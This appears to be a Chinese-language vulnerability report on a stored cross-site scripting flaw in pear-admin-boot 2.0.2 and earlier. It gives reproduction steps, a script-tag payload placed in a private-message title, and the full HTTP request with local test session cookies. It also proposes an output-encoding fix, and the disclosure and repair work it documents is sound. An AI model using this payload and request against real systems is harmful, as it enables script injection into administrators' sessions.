pear-admin-boot存在存储式跨站脚本漏洞

**漏洞类型** 
存储式跨站脚本

**受影响实体版本号** 
pear-admin-boot <= 2.0.2

**漏洞验证** 
前置条件：具有私信权限的用户登录
步骤：
1.运行pear-admin-boot = 2.0.2环境
2.管理员新建一个具有私信权限的用户
3.具有私信权限的用户登录
4.发送一条私信给“管理”用户，标题带有payload:123<script>alert(1)</script>456
完整请求报文：
POST /system/notice/save HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: keep-alive
Content-Length: 141
Content-Type: application/json
Cookie: rememberme-token=M1lPJTJCTFpzMDdWQjcxVXFtRXVUQWNRJTNEJTNEOkFWRUNDbDlqWFVTOFIlMkZCVjFrN2xCdyUzRCUzRA; JSESSIONID=E032828B9FC2AA972BBAABEE11EC4456
Host: 127.0.0.1:8080
Origin: http://127.0.0.1:8080
Referer: http://127.0.0.1:8080/system/notice/add
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

{"title":"123<script>alert(1)</script>456","content":"123456","sender":"1642713637653180417","accept":"1309861917694623744","type":"private"}
5.使用管理员账号登录，登录时会触发XSS

**修复建议** 
我提交了一个Pull Request，在SysNoticeServiceImpl.java的selectSysNoticeList方法中向页面输出响应前，对title和content进行了html实体编码，应该能解决这个漏洞

Pear Admin/Pear Admin Boot

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Pear Admin/Pear Admin Boot .gitee-modal { width: 500px !important; }

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